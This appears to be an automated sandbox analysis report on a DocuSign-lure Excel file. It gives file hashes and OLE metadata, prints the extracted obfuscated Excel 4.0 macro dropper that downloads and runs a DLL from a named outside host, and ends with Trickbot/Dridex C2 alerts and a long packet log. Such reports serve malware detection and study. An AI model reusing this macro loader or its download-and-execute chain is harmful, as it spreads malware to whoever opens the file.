File name:	Sign-1870635479_637332644.xls
File size:	168960
MD5:	ecd29fe79bd4e7f1bae3ccd26f44397c
SHA1:	a4e2f0650ac7b4642d43e0c0fbae293ce77a7a40
SHA256:	77500283a6b0da3b616525a210b9fb82ab4dfde174a48ce4bad593c722a6cbb4
SHA512:	49050a99a9803e8e525f18de609457dbb7146d2d5f8ff559c40545eb72f6f57a5046f56da0d984f709cdfd17f999f99b672017d8aab57d39439592d53dbd9a47
SSDEEP:	3072:bScKoSsxzNDZLDZjlbR868O8KlVH3jiKq7uDphYHceXVhca+fMHLtyeGxcl8OUMd:OcKoSsxzNDZLDZjlbR868O8KlVH3jiK0
File Content Preview:	........................>.......................H...........................E...F...G..........................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "Sign-1870635479_637332644.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-02-19 10:48:36
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.351244264199
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c u S i g n . . . . . D o c u S i g n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 ec 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 ac 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.253278926706
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 157800

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	157800
Entropy:	7.46869820242
Base64 Encoded:	True
Data ASCII:	. . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . . . X . @ . . . . . . . . . . . " . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,,,,,,,"=RIGHT(""353454543rtertetr,DllRegister"",12)&V19",,,,"=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=LEFT(123,0)=EXEC(RIGHT(""KJHDFHURNVUTRSHYSTNLUURTHNBDZZLRDNYZru""&'DocuSign '!D139&"" ""&'DocuSign '!D141&T19,40))",,,,,,,,=HALT(),,,

"=FORMULA.FILL(A144,DocuSign!V19)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""YJDYJGYDJNUDTUXTNXYXNuRlMon"",6)",,,,,,,,,,,,,,,,,,,"=RIGHT(""JDHNLTVJRBNZXKHTFHNMXTFUXTownloadToFileA"",14)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=REGISTER(D134,""URLD""&D135,""JJCC""&A146,""YUTVUBSRNYTMYM"",,1,9)",,,,,,,,,,,,,,,,,,,http://"=YUTVUBSRNYTMYM(0,T137&D144&E144&E145&E146&E147,D141,0,0)",,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""hLKUYFBGVESLTNZBRHYMHYRZndll32"",6)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""XCVBDSTYFGYSDUZGKLRDHZTDJ..\BASE.BABAA"",13)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=GOTO(DocuSign!T3),,,,,,,,,,,,,,,,,,,Server,,,www.chipmania.it/mails/open,.,,,,,,,,,,,,,,,,,,,p,,,,,,,,,,,,,,,BB,,,,h,,,,,,,,,,,,,,,,,,,p,,,,,,,,,,,,,,,

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/20/21-09:48:19.250919	TCP	2404332	ET CNC Feodo Tracker Reported CnC Server TCP group 17	49166	443	192.168.2.22	45.155.173.242
02/20/21-09:49:05.777178	TCP	2404320	ET CNC Feodo Tracker Reported CnC Server TCP group 11	49170	443	192.168.2.22	193.8.194.96
02/20/21-09:49:06.177721	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49170	193.8.194.96	192.168.2.22
02/20/21-09:49:16.239937	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	443	49173	193.8.194.96	192.168.2.22
02/20/21-09:49:17.240764	TCP	2404336	ET CNC Feodo Tracker Reported CnC Server TCP group 19	49174	447	192.168.2.22	5.202.150.151

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2021 09:48:08.051196098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.113799095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.113904953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.114717007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.174257040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181039095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181072950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181091070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181107044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181123972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181132078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.181143045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181160927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181168079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.181173086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.181179047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181195974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181200027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.181216002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.181220055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.181241035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.181257010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.187596083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.239954948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.239994049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240011930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240034103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240039110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240051985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240066051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240071058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240072012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240073919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240082026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240088940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240108967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240113020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240119934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240128994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240137100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240151882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240170956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240174055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240181923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240194082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240211010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240211010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240226030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240231991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240245104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240267992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240288019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240308046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240328074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240329981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240349054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240365028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240374088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240394115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240411997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240423918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.240423918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.240459919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.241363049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297489882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297517061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297533035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297550917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297584057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297601938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297617912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297619104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297642946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297646999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297648907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297650099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297665119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297667980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297686100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297698021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297703028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297710896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297724009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297736883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297749996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297761917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297826052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297847986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297864914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297874928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297883034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297889948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297909975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297925949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.297952890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297979116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.297997952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298006058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298028946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298029900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298052073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298058033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298077106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298084974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298093081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298098087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298119068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298129082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298137903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298140049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298163891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298165083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298182964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298197031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298204899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298207045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298223019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298228025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298249006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298253059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298264980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298275948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298293114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298302889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298310041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298321962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298333883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298343897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298360109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298371077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298379898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298388004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298414946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298428059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298484087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298508883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298541069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298541069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298552990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298557997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.298590899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.298599958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.300224066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355027914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355062008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355086088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355101109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355108023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355125904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355129957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355132103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355154991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355159044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355161905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355201006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355210066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355225086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355241060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355247021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355253935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355263948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355284929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355290890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355298042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355304956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355321884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355324030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355336905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355339050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355356932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355356932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355372906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355372906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.355386972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.355403900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.356929064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357454062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357484102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357501984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357518911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357520103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357536077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357537031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357538939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357558966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357563972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357573032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357585907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357594013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357608080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357626915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357628107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357639074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357645988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357657909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357664108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357681036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357688904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357696056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357713938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357741117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357762098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357784033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357791901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357801914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357824087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357850075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357861996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357863903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357886076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357906103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357913971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357925892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357937098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357949018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357950926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357969999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357970953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.357991934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.357991934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358001947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358030081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358031988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358067036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358068943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358084917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358109951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358110905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358120918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358134031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358150959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358153105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358163118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358172894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358200073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358210087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.358272076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358289003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.358328104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.359169960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.412587881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412616014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412630081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412642002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412678003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412698030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412715912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412733078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.412853956 CET	49165	80	192.168.2.22	185.81.0.78
